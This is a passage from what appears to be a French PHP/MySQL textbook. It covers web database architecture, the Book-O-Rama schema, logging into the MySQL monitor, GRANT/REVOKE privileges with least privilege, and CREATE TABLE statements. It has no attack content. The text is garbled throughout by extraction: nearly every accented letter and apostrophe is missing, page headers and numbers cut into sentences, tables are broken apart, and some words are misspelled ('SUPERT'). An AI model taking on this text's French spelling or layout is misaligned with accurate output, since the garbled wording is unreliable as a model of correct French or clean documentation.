Utilisation de MySQL

relation un-vers-un puisquil suffit dutiliser lISBN comme cl primaire dans la table
Commentaires Livres. Pour reprsenter une relation un--plusieurs, vous devez en
revanche dfinir un identificateur unique pour chaque ligne de cette table.
Rcapitulatif sur les types de tables
Les bases de donnes sont gnralement composes de deux types de tables :
m

Des tables simples qui dcrivent des objets du monde rel. Ces tables peuvent galement contenir des cls vers dautres objets simples, pour lesquels il existe une relation
un-vers-un ou un-vers-plusieurs. Un client peut, par exemple, passer plusieurs
commandes, mais chaque commande est effectue par un seul client. Par consquent, nous pouvons placer dans chaque commande une rfrence au client qui a
effectu cette commande.
Des tables de liaison qui dcrivent des relations plusieurs-vers-plusieurs entre deux
objets rels, comme la relation qui existe entre Commandes et Livres. Ces tables sont
souvent associes des transactions du monde rel.

Architecture dune base de donnes web


Maintenant que nous avons prsent larchitecture interne dune base de donnes, nous
pouvons nous intresser larchitecture externe des systmes de bases de donnes web
et prsenter la mthodologie permettant de dvelopper ces systmes.
Architecture
Le fonctionnement fondamental dun serveur web est prsent la Figure 8.8. Ce
systme est compos de deux objets : un navigateur web et un serveur web. Un lien
de communication doit exister entre ces deux objets. Le navigateur effectue des
requtes auprs du serveur, qui lui renvoie des rponses. Cette architecture est parfaitement adapte un serveur qui fournit des pages statiques, mais celle qui permet de
mettre en place des sites web faisant intervenir des bases de donnes est un peu plus
complexe.
Requte
Navigateur

Serveur web
Rponse

Figure 8.8
La relation client/serveur entre un navigateur web et un serveur web ncessite un lien
de communication.

Chapitre 8

Conception dune base de donnes web

229

Les applications de bases de donnes web que nous allons mettre en uvre dans ce livre
respectent une structure de base de donnes web gnrale, prsente la Figure 8.9.
Lessentiel de cette structure devrait dj vous sembler familier.
1
Navigateur

2
Serveur web

3
Moteur PHP

Serveur MySQL
4

Figure 8.9
Larchitecture fondamentale des bases de donnes web est compose dun navigateur web,
dun serveur web, dun moteur de scripts et dun serveur de bases de donnes.

Une transaction de base de donnes web classique est compose des tapes numrotes
la Figure 8.9. Examinons ces tapes dans le contexte de la librairie Book-O-Rama.
1. Le navigateur web dun utilisateur envoie une requte HTTP pour une page web
particulire. Cette requte peut, par exemple, concerner tous les livres de Book-ORama crits par Laura Thomson et tre envoye partir dun formulaire HTML. La
page de recherche des rsultats est appele resultats.php.
2. Le serveur web reoit une requte pour resultats.php, rcupre le fichier et le passe
au moteur PHP afin quil soit trait.
3. Le moteur PHP commence analyser le script. Dans celui-ci se trouve une commande
permettant de se connecter la base de donnes et dexcuter une requte (pour
rechercher les livres). PHP ouvre une connexion vers le serveur MySQL et transmet
la requte approprie.
4. Le serveur MySQL reoit la requte de base de donnes et la traite, puis renvoie les
rsultats (cest--dire une liste de livres) au moteur PHP.
5. Le moteur PHP termine lexcution du script, ce qui consiste gnralement formater les rsultats de la requte en HTML. Il envoie ensuite le fichier HTML obtenu au
serveur web.
6. Le serveur web transmet la page HTML au navigateur, pour que lutilisateur puisse
voir la liste des livres quil a demands.
Ce processus reste relativement identique, quels que soient le moteur de scripts et le serveur
de bases de donnes que vous utilisez. Le plus souvent, le serveur web, le moteur PHP
et le serveur de bases de donnes tournent tous sur le mme ordinateur. Cependant, il
arrive que le serveur de bases de donnes se trouve sur un autre ordinateur. Cette
dernire approche rpond des problmes de scurit, daugmentation des capacits
et de rpartition de la charge. Au niveau du dveloppement, cela ne change pas

230

Partie II

Utilisation de MySQL

grand-chose, bien que cette approche fournisse des avantages significatifs en terme de
performances.
mesure quaugmenteront la taille et la complexit de vos applications, vous commencerez les diviser en niveaux, ou couches. Cest ce que lon appelle une architecture
trois tiers car lapplication est alors forme dune couche de base de donnes qui se
charge de linterfaage avec MySQL, dune couche mtier qui contient le systme
central de lapplication et dune couche de prsentation qui gre la sortie HTML.
Larchitecture lmentaire prsente la Figure 8.9 vaut cependant toujours : vous
ajoutez simplement dautres lments de structure la section PHP.

Pour aller plus loin


Dans ce chapitre, nous avons prsent quelques conseils gnraux pour larchitecture
des bases de donnes relationnelles. Si vous souhaitez vous attaquer plus profondment
la thorie des SGBR, vous pouvez consulter plusieurs livres crits par des auteurs
faisant rfrence en la matire, comme C. J. Date. Cependant, vous devez savoir que ces
livres sont trs thoriques et nont pas ncessairement dintrt immdiat pour un dveloppeur web. Gnralement, les bases de donnes web classiques ne sont pas trs
compliques.

Pour la suite
Au prochain chapitre, nous nous intresserons la construction dune base de donnes
MySQL. Nous commencerons par voir comment configurer une base de donnes MySQL
pour le Web, comment effectuer des requtes dans cette base de donnes et comment
linterroger partir de PHP.

9
Cration dune base
de donnes web
Dans ce chapitre, nous verrons comment configurer une base de donnes MySQL pour
pouvoir lutiliser sur un site web.
Nous reprendrons lexemple de la librairie virtuelle Book-O-Rama, prsente au chapitre prcdent et dont nous rappelons ici le schma :
Clients(IDClient, Nom, Adresse, Ville)
Commandes(IDCommande, IDClient, Montant, Date)
Livres(ISBN, Auteur, Titre, Prix)
Livres_Commandes(IDCommande, ISBN, Quantite)
Commentaires_Livres(ISBN, Commentaire)

Noubliez pas que les cls primaires sont soulignes et que les cls trangres sont en
italique.
Pour pouvoir tirer profit des lments de cette section, vous devez avoir accs
MySQL. Cela signifie normalement que :
1. Vous avez effectu linstallation de base de MySQL sur votre serveur web. Pour
cela, il faut notamment :
installer les fichiers ;
crer un utilisateur sous le nom duquel MySQL sera excut ;
configurer votre chemin daccs ;
excuter mysql install db, si ncessaire ;
dfinir le mot de passe root de MySQL ;
supprimer lutilisateur anonymous et la base de donnes test ;
dmarrer le serveur MySQL pour la premire fois et le configurer pour quil se lance
automatiquement.

232

Partie II

Utilisation de MySQL

Si vous avez bien fait tout cela, vous pouvez commencer lire ce chapitre. Dans le
cas contraire, vous trouverez lAnnexe A des instructions qui vous aideront.
Si, nimporte quel moment dans ce chapitre, vous avez des problmes, ce peut tre
d la configuration de votre systme MySQL. Dans ce cas, vrifiez nouveau
cette liste et consultez lAnnexe A pour vous assurer que votre configuration est
correcte.
2. Vous devriez galement avoir accs MySQL sur un ordinateur dont vous ntes
pas ladministrateur, comme un service dhbergement web, un ordinateur de votre
socit, etc.
Dans ce cas, pour que vous puissiez utiliser les exemples ou crer votre propre base
de donnes, votre administrateur doit configurer un utilisateur et une base de
donnes et vous fournir le nom dutilisateur, le mot de passe et le nom de la base de
donnes quil vous a affects.
Vous pouvez choisir de sauter les sections de ce chapitre qui expliquent comment
configurer les utilisateurs et les bases de donnes, ou les lire pour expliquer plus
prcisment votre administrateur ce dont vous avez besoin. En tant quutilisateur
normal, vous navez pas le droit dexcuter les commandes permettant de crer des
utilisateurs et des bases de donnes.
Tous les exemples de ce chapitre ont t dvelopps et tests avec la dernire version de
MySQL 5. Certaines versions antrieures de MySQL possdent moins de fonctionnalits : il est donc prfrable dinstaller la version stable la plus rcente lorsque vous configurez votre systme. Vous pouvez charger la dernire version sur le site de MySQL,
http://mysql.com.
Dans ce livre, nous interagirons avec MySQL au moyen dun client en ligne de
commande, le moniteur MySQL fourni avec chaque installation de MySQL, mais vous
pouvez utiliser dautres clients. Par exemple, si vous utilisez MySQL dans un environnement web, les administrateurs systme proposent souvent linterface phpMyAdmin
que vous pouvez utiliser dans votre navigateur. Les diffrents clients graphiques proposent videmment des procdures lgrement diffrentes de celles dcrites ici, mais vous
devriez pouvoir adapter les instructions fournies assez facilement.

Note sur lutilisation du moniteur MySQL


Dans les exemples MySQL de ce chapitre et du chapitre suivant, vous remarquerez
que toutes les commandes se terminent par un point-virgule ( ;). Celui-ci demande
MySQL dexcuter les commandes. Si vous oubliez ce point-virgule, il ne se

Chapitre 9

Cration dune base de donnes web

233

passera rien du tout. Il sagit dun problme trs frquent chez les nouveaux utilisateurs.
Cela signifie galement que vous pouvez insrer des retours la ligne au milieu dune
commande. Nous nous sommes dailleurs servis de cette caractristique pour amliorer
la lisibilit de nos exemples. Cette situation se remarque facilement puisque MySQL
affiche un symbole indiquant quil attend la suite de la commande. Il sagit dune petite
flche qui ressemble ceci :
mysql> grant select
->

Vous obtiendrez cette invite jusqu ce que vous saisissiez un point-virgule, chaque
fois que vous appuyez sur la touche Entre.
Un autre point important est que les instructions SQL ne tiennent pas compte de la
diffrence majuscules/minuscules, mais ce nest pas forcment le cas pour les noms des
bases de donnes et des tables. Nous reviendrons sur ce point un peu plus loin.

Comment ouvrir une session MySQL


Pour dmarrer une session MySQL, lancez un interprteur de commandes sur votre
ordinateur et saisissez la ligne suivante :
> mysql -h hte -u utilisateur -p

La commande mysql lance le moniteur MySQL. Il sagit dun client en ligne de


commande qui vous connecte au serveur MySQL.
Loption h sert indiquer lhte auquel vous souhaitez vous connecter, cest--dire
lordinateur sur lequel le serveur MySQL sexcute. Si vous lancez cette commande sur
le mme ordinateur que le serveur MySQL, vous pouvez ignorer cette option, ainsi que
le paramtre hte. Dans le cas contraire, il faut remplacer le paramtre hte par le nom
de lordinateur sur lequel le serveur MySQL sexcute.
Loption u sert indiquer le nom de lutilisateur sous lequel vous souhaitez vous
connecter. Si vous nen spcifiez aucun, le client choisira par dfaut le nom de lutilisateur sous lequel vous avez ouvert une session dans le systme dexploitation.
Si vous avez install MySQL sur votre propre ordinateur ou sur votre serveur, vous
devez ouvrir une session sous le compte root et crer la base de donnes que nous utiliserons dans cette section. Si vous venez dinstaller MySQL, root est le seul utilisateur
qui existe et vous devez donc vous connecter sous son compte. Si vous utilisez MySQL
sur un ordinateur administr par quelquun dautre, servez-vous du nom dutilisateur
que lon vous a fourni.

234

Partie II

Utilisation de MySQL

Loption p indique au serveur que vous souhaitez vous connecter en utilisant un mot de
passe. Vous navez pas besoin de la spcifier si aucun mot de passe na t dfini pour
lutilisateur sous lequel vous voulez ouvrir une session.
Si vous avez ouvert votre session sous le nom root et quaucun mot de passe na t
dfini pour root, nous vous recommandons fortement de consulter sans tarder
lAnnexe A et de le dfinir tout de suite. Sans mot de passe root, votre systme nest
pas du tout scuris.
Vous navez pas besoin de donner le mot de passe sur cette ligne, puisque le serveur
MySQL vous le demandera. En fait, il vaut mieux ne pas le donner car, si vous le saisissez sur la ligne de commande, il apparatra clairement lcran et pourra donc tre
intercept trs facilement.
Aprs avoir saisi la commande prcdente, vous devriez obtenir une rponse comme
celle-ci :
Enter password:

Si vous nobtenez pas cette ligne, vrifiez que le serveur MySQL fonctionne correctement et que la commande mysql se trouve dans votre PATH.
Il faut ensuite saisir votre mot de passe. Si tout se passe bien, vous devriez ensuite obtenir une rponse ressemblant ceci :
Welcome to the MySQL monitor. Commands end with; or \g.
Your MySQL connection id is 1 to server version: 5.0.0-alpha-max-debug
Type help; or \h for help. Type \c to clear the buffer.
mysql>

Si vous nobtenez pas une rponse similaire avec une installation sur votre propre
machine, assurez-vous que vous avez bien excut mysql install db, que vous avez
dfini le mot de passe root et que vous lavez saisi correctement. Si vous ntes pas
responsable de linstallation de MySQL, assurez-vous que vous avez saisi le mot de
passe correctement.
Vous devriez maintenant obtenir linvite de commande de MySQL et tre prt crer la
base de donnes.
Si vous utilisez votre propre ordinateur, suivez les indications de la section suivante.
Si vous utilisez lordinateur de quelquun dautre, la base de donnes devrait dj tre
cre. Vous pouvez alors passer directement la section "Utiliser la bonne base de
donnes" ou lire les sections qui suivent titre dinformations gnrales, mais vous ne
serez pas capable dexcuter les commandes indiques dans ces sections ou, tout du
moins, vous ne devriez pas tre autoris le faire !

Chapitre 9

Cration dune base de donnes web

235

Cration des bases de donnes et des utilisateurs


Le systme de base de donnes MySQL peut grer de nombreuses bases de donnes.
Gnralement, il existe une base de donnes par application. Dans notre exemple de la
librairie Book-O-Rama, la base de donnes sappellera livres.
La cration de la base de donnes est la partie la plus simple. Sur la ligne de commande
de MySQL, saisissez la commande suivante :
mysql> create database livres;

Cest tout. Vous devriez obtenir une rponse comme celle-ci (au temps dexcution prs) :
Query OK, 1 row affected (0.06 sec)

Cette rponse signifie que tout sest bien pass. Si vous obtenez une autre rponse,
assurez-vous que vous navez pas oubli de saisir le point-virgule la fin de la ligne. Un
point-virgule indique MySQL que vous avez termin de saisir votre commande et
quil doit lexcuter.

Configuration des utilisateurs et des privilges


Un systme MySQL peut compter plusieurs utilisateurs. Pour des raisons de scurit,
lutilisateur root ne devrait servir quaux tches dadministration. Vous devez dfinir
un nom et un mot de passe pour chaque utilisateur devant avoir accs MySQL. Ces
noms dutilisateurs ne correspondent pas forcment aux noms dutilisateurs ou aux
mots de passe existant en dehors de MySQL (les noms dutilisateurs et les mots de
passe Unix ou Windows, par exemple). Ce principe est galement valable pour le
compte root. Il est gnralement conseill de choisir un mot de passe diffrent pour les
comptes du systme et pour les comptes de MySQL, en particulier pour le compte root.
Bien quil ne soit pas obligatoire de crer des mots de passe pour les utilisateurs, nous
vous conseillons fortement de choisir un mot de passe pour tous les utilisateurs que
vous crez. Dans le cadre de la configuration dune base de donnes web, il est gnralement intressant de crer au moins un utilisateur par application web. Vous pouvez
vous demander pourquoi ; la rponse se trouve dans les privilges.

Introduction au systme de privilges de MySQL


Lune des caractristiques les plus intressantes de MySQL est quil dispose dun
systme de privilges volu. Un privilge est le droit deffectuer une action particulire sur un objet spcifique, sous un compte utilisateur donn. Ce concept ressemble
beaucoup aux droits daccs des fichiers.
Lorsque vous crez un utilisateur dans MySQL, vous lui accordez un ensemble de
privilges pour indiquer ce quil peut faire et ne peut pas faire dans le systme.

236

Partie II

Utilisation de MySQL

Principe des privilges minimaux


Ce principe permet damliorer la scurit de nimporte quel systme informatique. Il
sagit dun principe la fois trs simple et trs important, que lon oublie un peu trop
souvent et qui peut se rsumer de la manire suivante :
Un utilisateur (ou un processus) doit possder le niveau de privilge le plus bas
possible pour pouvoir effectuer correctement sa tche.
Ce principe sapplique galement MySQL. Pour, par exemple, excuter des requtes
partir du Web, un utilisateur na pas besoin de possder tous les privilges auxquels
root a accs. Il convient par consquent de crer un autre utilisateur qui possde
uniquement les privilges ncessaires pour accder la base de donnes que vous venez
de crer.
Configuration des utilisateurs : la commande GRANT
Les commandes GRANT et REVOKE servent accorder ou retirer des droits daccs aux
utilisateurs de MySQL, selon quatre niveaux de privilges :
m

global ;

base de donnes ;

table ;

colonne.

Nous verrons bientt comment les utiliser.


La commande GRANT cre des utilisateurs et leur octroie des privilges. Voici son format
gnral :
GRANT privilges [colonnes]
ON lment
TO nom_utilisateur [IDENTIFIED BY mot de passe]
[REQUIRE options ssl]
[WITH GRANT OPTION | limites ]

Les clauses entre crochets sont facultatives. Cette syntaxe comprend plusieurs paramtres
en italique que nous allons passer en revue.
Le premier, privilges, est une liste de privilges spars par des virgules. Ces privilges doivent tre choisis dans une liste prdfinie de MySQL, que nous prsenterons
dans la prochaine section.

Chapitre 9

Cration dune base de donnes web

237

Le paramtre colonnes est facultatif. Vous pouvez lutiliser pour prciser les privilges
associs certaines colonnes. Il peut correspondre au nom dune seule colonne ou une
liste de noms de colonnes spars par des virgules.
Le paramtre lment correspond la base de donnes ou la table laquelle sappliquent les privilges.
Vous pouvez octroyer des privilges sur toutes les bases de donnes en indiquant *.* la
place de lment. On accorde alors des privilges globaux. Vous pouvez aussi indiquer * si
vous nutilisez aucune base de donnes particulire.
Le plus souvent, vous dsignerez toutes les tables dune base de donnes avec
nom base.*, une table particulire avec nom base.nom table, ou des colonnes spcifiques avec nom base.nom table et les colonnes en question la place de colonnes. Ces
trois approches reprsentent respectivement les trois autres niveaux de privilges disponibles : sur une base de donnes, une table et une colonne. Si vous utilisez une base de
donnes spcifique lorsque vous excutez cette commande, nom table sera interprt
comme une table de la base de donnes courante.
nom utilisateur doit correspondre au nom de lutilisateur sous lequel vous souhaitez ouvrir une session dans MySQL. Noubliez pas que ce nom ne doit pas forcment
correspondre votre nom dutilisateur sur votre systme dexploitation. Avec
MySQL, nom utilisateur peut galement correspondre un nom dhte. Vous
pouvez utiliser cette particularit pour diffrencier, par exemple, laura (qui sera
interprt comme laura@localhost) et laura@autre part.com. Cette particularit
est trs intressante puisquil arrive souvent que des utilisateurs de diffrents domaines aient le mme nom en local. En outre, cette caractristique amliore la scurit du
systme, puisque vous pouvez spcifier lendroit partir duquel les utilisateurs se
connectent, et mme les tables et les bases de donnes auxquelles ils ont accs partir
dun emplacement particulier.
mot de passe dsigne le mot de passe que vous avez choisi pour lutilisateur indiqu.
Les rgles gnrales pour choisir les mots de passe doivent toujours tre respectes.
Nous reviendrons un peu plus loin sur les problmes de scurit, mais, dune manire
gnrale, un mot de passe ne doit pas pouvoir tre devin facilement. Cela signifie quil
ne doit figurer dans aucun dictionnaire et quil doit tre diffrent du nom de lutilisateur. Idalement, il doit contenir des lettres majuscules, des lettres minuscules et des
caractres non alphabtiques.

La clause REQUIRE vous permet de prciser que lutilisateur doit se connecter via SSL
(Secure Sockets Layer) et dindiquer dautres options SSL. Pour plus dinformations

238

Partie II

Utilisation de MySQL

concernant les connexions SSL MySQL, reportez-vous au manuel MySQL. Loption


WITH GRANT OPTION, lorsquelle est indique, permet lutilisateur slectionn de
transmettre ses privilges dautres utilisateurs.
la place de WITH GRANT OPTION, vous pouvez galement utiliser les limites suivantes :
MAX_QUERIES_PER_HOUR n

ou
MAX_UPDATES_PER_HOUR n

ou
MAX_CONNECTIONS_PER_HOUR n

Ces clauses vous permettent de limiter le nombre de requtes, de mises jour ou de


connexions par heure quun utilisateur est autoris effectuer. Elles peuvent tre
utiles lorsquil importe de limiter la charge des utilisateurs individuels sur des systmes
partags.
Les privilges sont enregistrs dans cinq tables systme appartenant la base de
donnes mysql. Ces cinq tables sappellent mysql.user, mysql.db, mysql.host,
mysql.tables priv et mysql.columns priv et correspondent directement aux
niveaux de privilges que nous avons dj mentionns. Si vous ne souhaitez pas
passer par GRANT, vous pouvez modifier directement ces tables. Nous y reviendrons
en dtail au Chapitre 12.
Types et niveaux des privilges
Il existe trois principaux types de privilges dans MySQL : les privilges des utilisateurs classiques, les privilges des administrateurs et deux privilges particuliers.
Nimporte quel utilisateur peut obtenir ces privilges, mais il est gnralement prfrable de rserver les privilges dadministration aux administrateurs, conformment au
principe des privilges minimaux.
Les privilges ne devraient tre octroys aux utilisateurs que pour les bases de
donnes et les tables quils ont besoin dutiliser. La base de donnes mysql ne doit
tre accessible quaux administrateurs car elle stocke les informations sur les utilisateurs, les mots de passe, etc. (nous reviendrons sur cette base de donnes au Chapitre 12).
Les privilges des utilisateurs normaux sont directement associs des types spcifiques de commandes SQL et indiquent si un utilisateur a le droit dexcuter ces
commandes. Nous reviendrons sur ces commandes SQL au chapitre suivant. Pour
linstant, nous tudierons une description conceptuelle de leurs actions. Les privilges

Chapitre 9

Cration dune base de donnes web

239

dun utilisateur normal sont prsents dans le Tableau 9.1. La deuxime colonne indique
les objets auxquels chaque privilge peut tre appliqu.
Tableau 9.1 : Privilges des utilisateurs normaux

Privilge Applicable

Description

SELECT

Tables, colonnes

Permet aux utilisateurs de slectionner des lignes (des


enregistrements) dans des tables.

INSERT

Tables, colonnes

Permet aux utilisateurs dinsrer de nouvelles lignes dans des


tables.

UPDATE

Tables, colonnes

Permet aux utilisateurs de modifier les valeurs existantes dans


les lignes des tables.

DELETE

Tables

Permet aux utilisateurs de supprimer des lignes existantes dans


des tables.

INDEX

Tables

Permet aux utilisateurs de crer et de supprimer des index dans


des tables.

ALTER

Tables

Permet aux utilisateurs de modifier la structure de tables


existantes, par exemple en ajoutant des colonnes, en renommant
des colonnes ou des tables ou en modifiant le type des donnes
de certaines colonnes.

CREATE

Bases de donnes, Permet aux utilisateurs de crer de nouvelles bases de donnes


tables
ou de nouvelles tables. Si une table ou une base de donnes
particulires sont indiques dans la commande GRANT, le
privilge CREATE est limit la base de donnes ou la table
indique, ce qui signifie quil faudra au pralable la supprimer
(avec DROP).

DROP

Bases de donnes, Permet aux utilisateurs de supprimer des bases de donnes ou


tables
des tables.

La plupart des privilges des utilisateurs normaux sont relativement inoffensifs en


termes de scurit. Le privilge ALTER peut permettre de contourner les privilges
systme en renommant des tables, mais les utilisateurs en ont souvent besoin. La scurit est toujours un compromis entre la sret et la simplicit dutilisation. Vous devrez
donc prendre vos propres dcisions quant ALTER, mais il faut savoir que ce privilge
est souvent accord aux utilisateurs normaux.
Outre ceux du Tableau 9.1, les privilges appels REFERENCES et EXECUTE existent mais
ne sont pas encore utiliss et le privilge GRANT nest octroy que par la clause WITH
GRANT OPTION ; il ne peut pas apparatre dans la liste privilges.

240

Partie II

Utilisation de MySQL

Le Tableau 9.2 prsente les privilges rservs aux administrateurs.


Tableau 9.2 : Privilges des administrateurs

Privilge

Description

CREATE TEMPORARY TABLES

Permet un administrateur dutiliser le mot-cl TEMPORARY


dans une instruction CREATE TABLE.

FILE

Autorise les donnes tre lues dans des tables depuis des
fichiers et vice versa.

LOCK TABLES

Autorise lutilisation explicite dune instruction LOCK TABLES.

PROCESS

Permet un administrateur de visualiser les processus serveur


qui appartiennent tous les utilisateurs.

RELOAD

Permet un administrateur de recharger les tables de


privilges et de rinitialiser les privilges, les htes, les
journaux et les tables.

REPLICATION CLIENT

Autorise lutilisation de SHOW STATUS sur les matres et les


esclaves de rplication. La rplication est traite au
Chapitre 12.

REPLICATION SLAVE

Autorise les serveurs esclaves de rplication se connecter au


serveur matre. La rplication est traite au Chapitre 12.

SHOW DATABASES

Autorise la consultation de la liste de toutes les bases de


donnes avec une instruction SHOW DATABASES. Sans ce
privilge, les utilisateurs ne voient que les bases de donnes
pour lesquelles ils possdent dautres privilges.

SHUTDOWN

Autorise un administrateur arrter le serveur MySQL.

SUPERT

Autorise un administrateur tuer des threads appartenant


nimporte quel utilisateur.

Vous pouvez attribuer ces privilges des utilisateurs normaux, mais nous vous
conseillons de ne le faire quaprs avoir trs soigneusement estim toutes les consquences.
Le cas est un peu diffrent pour le privilge FILE car il peut tre intressant pour les
utilisateurs puisquil permet de charger des donnes partir de simples fichiers, ce qui
peut leur faire gagner beaucoup de temps en leur vitant davoir saisir leurs donnes
dans leurs bases. Cependant, le mcanisme de chargement de fichiers peut servir
charger nimporte quel fichier visible par le serveur MySQL, y compris des bases de
donnes appartenant dautres utilisateurs et, ventuellement, des fichiers de mots

Chapitre 9

Cration dune base de donnes web

241

de passe. Ce privilge ne doit donc tre accord quavec beaucoup de prcautions et


vous pouvez prfrer charger les donnes des utilisateurs leur place.
Il existe galement deux privilges particuliers, prsents dans le Tableau 9.3.
Tableau 9.3 : Privilges particuliers

Privilge

Description

ALL

Accorde tous les privilges prsents dans les Tableaux 9.1 et 9.2. Vous pouvez
galement crire ALL PRIVILEGES la place de ALL.

USAGE

Naccorde aucun privilge. Cela permet de crer un utilisateur et de ne lautoriser


qu ouvrir une session, sans pouvoir faire autre chose. Gnralement, il sagit
simplement dune premire tape avant dajouter dautres privilges.

La commande REVOKE
Linverse de GRANT sappelle REVOKE. Cette commande supprime des privilges aux
utilisateurs. Sa syntaxe ressemble beaucoup celle de GRANT :
REVOKE privilges [(colonnes)]
ON lment
FROM nom_utilisateur

Si vous avez octroy le privilge GRANT avec la clause WITH GRANT OPTION, vous pouvez
le supprimer de cette faon (avec tous les autres privilges) :
REVOKE All PRIVILEGES, GRANT
FROM nom_utilisateur

Exemples dutilisation de GRANT et de REVOKE


Pour configurer le compte dun administrateur, vous pouvez saisir la commande
suivante :
mysql>
->
->
->

grant all
on *
to fred identified by mnb123
with grant option;

Cette commande accorde tous les privilges sur toutes les bases de donnes un utilisateur
appel fred, avec le mot de passe mnb123, et lautorise transmettre ces privilges.
Si vous vous ravisez et que vous ne vouliez pas de cet utilisateur dans votre systme,
vous pouvez le supprimer avec la commande suivante :
mysql> revoke all privileges, grant
-> on *
-> from fred;

242

Partie II

Utilisation de MySQL

Voyons maintenant comment configurer le compte dun utilisateur normal, sans aucun
privilge :
mysql> grant usage
-> on livres.*
-> to martine identified by magic123;

Aprs avoir discut un peu avec Martine, et aprs avoir appris ce quelle souhaite rellement faire, vous pouvez lui fournir les privilges appropris :
mysql> grant select, insert, update, delete, index, alter, create, drop
-> on livres.*
-> to martine;

Vous remarquerez quil ny a pas besoin de spcifier le mot de passe de Martine pour
effectuer cette opration.
Si vous vous rendez compte que Martine abuse de ses privilges, vous pouvez les
rduire :
mysql> revoke alter, create, drop
-> on livres.*
-> from martine;

Et, pour terminer, lorsquelle na plus besoin dutiliser la base de donnes, vous pouvez
supprimer tous ses droits :
mysql> revoke all
-> on livres.*
-> from martine;

Configurer un utilisateur pour le Web


Vous devrez configurer un utilisateur pour que vos scripts PHP puissent se connecter
MySQL. Une fois encore, nous pouvons appliquer le principe de privilges minimaux
pour dterminer ce que les scripts doivent pouvoir faire.
Dans la plupart des cas, il leur suffit de slectionner, dinsrer, de supprimer et de
mettre jour des lignes dans des tables, grce SELECT, INSERT, DELETE et UPDATE. Vous
pouvez octroyer ces privilges grce la commande suivante :
mysql> grant select, insert, delete, update
-> on livres.*
-> to bookorama identified by bookorama123;

Pour des raisons de scurit videntes, vous devez choisir un meilleur mot de passe que
celui-ci.
Si vous passez par un service dhbergement web, vous avez en gnral accs aux
autres privilges utilisateur sur une base de donnes que ce service cre pour vous. Les
services dhbergement web donnent souvent les mmes noms utilisateurs et mots de
passe pour laccs en ligne de commande (la dfinition des tables, etc.) et pour les

Chapitre 9

Cration dune base de donnes web

243

connexions des scripts web (les requtes sur la base de donnes). Cette pratique est
juste un peu moins scurise. Vous pouvez configurer un utilisateur avec ce niveau de
privilges de la manire suivante :
mysql> grant select, insert, update, delete, index, alter, create, drop
-> on livres.*
-> to bookorama identified by bookorama123;

Utilisez cette seconde version de lutilisateur, car vous en aurez besoin dans la
prochaine section.
Vous pouvez quitter le moniteur MySQL en tapant la commande quit. Essayez ensuite
douvrir une nouvelle session sous le nom de votre utilisateur web, afin de vrifier que
tout fonctionne correctement. Si linstruction GRANT que vous avez lance a t excute
mais que laccs vous soit refus lorsque vous tentez de vous connecter, cela signifie
gnralement que vous navez pas supprim les utilisateurs anonymes au cours du
processus dinstallation. Reconnectez-vous en tant que root et consultez lAnnexe A
pour plus dinformations concernant la manire de supprimer les comptes anonymes.
Vous devriez alors pouvoir vous connecter en tant quutilisateur web.

Utiliser la bonne base de donnes


Si vous navez eu aucun problme particulier, vous devriez avoir ouvert une session
sous un compte dutilisateur MySQL pour tester les exemples de code, soit parce que
vous venez de configurer cet utilisateur, soit parce que ladministrateur du serveur web
la fait pour vous.
La premire chose faire aprs avoir ouvert une session consiste indiquer la base de
donnes avec laquelle vous souhaitez travailler. Pour cela, saisissez la commande
suivante :
mysql> use nom_base;

o nom base correspond au nom de votre base de donnes.


Vous pouvez vous passer de cette commande si vous indiquez directement le nom de la
base de donnes lorsque vous ouvrez votre session, comme ici :
mysql -D nom_base -h hte -u utilisateur -p

Dans cet exemple, nous utiliserons la base de donnes livres :


mysql> use livres;

Lorsque vous tapez cette commande, MySQL devrait vous rpondre par une ligne
comme celle-ci :
Database changed

244

Partie II

Utilisation de MySQL

Si vous ne slectionnez aucune base de donnes avant de commencer votre travail,


MySQL affichera un message derreur :
ERROR 1046 (3D000): No Database Selected

Cration des tables de la base de donnes


Ltape suivante dans la configuration de la base de donnes consiste crer les tables.
Pour cela, vous pouvez vous servir de la commande SQL CREATE TABLE. Voici le format
gnral de cette instruction :
CREATE TABLE nom_table(colonnes)

INFO
MySQL propose plusieurs types de tables ou moteurs de stockage, dont certains permettent
deffectuer des transactions sres. Nous prsenterons ces types de tables au Chapitre 13.
Pour le moment, toutes les tables de la base de donnes utiliseront le moteur de stockage
par dfaut, MyISAM.

Il faut videmment remplacer le paramtre nom table par le nom de la table que vous
souhaitez crer et le paramtre colonnes par la liste des colonnes de votre table, spares
par des virgules.
Chaque colonne possde un nom, suivi dun type de donnes.
Voici nouveau le schma de Book-O-Rama :
Clients(IDClient, Nom, Adresse, Ville)
Commandes(IDCommande, IDClient, Montant, Date)
Livres(ISBN, Auteur, Titre, Prix)
Livres_Commandes(IDCommande, ISBN, Quantite)
Commentaires_Livres(ISBN, Commentaire)

Le Listing 9.1 prsente le code SQL permettant de crer ces tables, en supposant que
vous avez dj cr la base de donnes livres. Vous trouverez ce programme SQL sur
le site Pearson, dans le fichier chapitre09/bookorama.sql.
Vous pouvez demander MySQL dexcuter un fichier SQL existant, du site Pearson,
en saisissant une commande comme celle-ci :
> mysql -h hte -u bookorama -D livres -p < bookorama.sql

(Noubliez pas de remplacer hte par le nom de votre hte.)


La redirection de lentre standard est trs pratique puisquelle permet de modifier votre
programme SQL dans lditeur de texte de votre choix avant de lexcuter.

Chapitre 9

Cration dune base de donnes web

245

Listing 9.1 : bookorama.sql Le programme SQL permettant de crer les tables


de Book-O-Rama
create table clients
( idclient int unsigned not null auto_increment primary key,
nom char(50) not null,
adresse char(100) not null,
ville char(30) not null
);
create table commandes
( idcommande int unsigned not null auto_increment primary key,
idclient int unsigned not null,
montant float(6,2),
date date not null
);
create table livres
( isbn char(13) not null primary key,
auteur char(50),
titre char(100),
prix float(4,2)
);
create table livres_commandes
( idcommande int unsigned not null,
isbn char(13) not null,
quantite tinyint unsigned,
primary key (idcommande, isbn)
);
create table commentaires_livres
(
isbn char(13) not null primary key,
commentaire text
);

Chaque table cre sa propre instruction CREATE TABLE. Vous remarquerez que nous
avons cr chaque table de ce schma avec les colonnes que nous avons mises en place
au chapitre prcdent. Le type de donnes de chaque colonne est indiqu directement
aprs son nom. En outre, certaines colonnes possdent dautres particularits.
Signification des autres mots-cls
NOT NULL signifie que toutes les lignes de la table doivent possder une valeur associe
cet attribut. Sil nest pas indiqu, le champ peut tre vide (NULL).
AUTO INCREMENT est une fonctionnalit particulire de MySQL que vous pouvez utiliser
sur des colonnes contenant des nombres entiers. Ce mot-cl signifie que si nous laissons
ce champ vide lorsque nous insrons de nouvelles lignes dans la table, MySQL gnre
automatiquement une valeur didentification unique. Cette valeur correspond la valeur

246

Partie II

Utilisation de MySQL

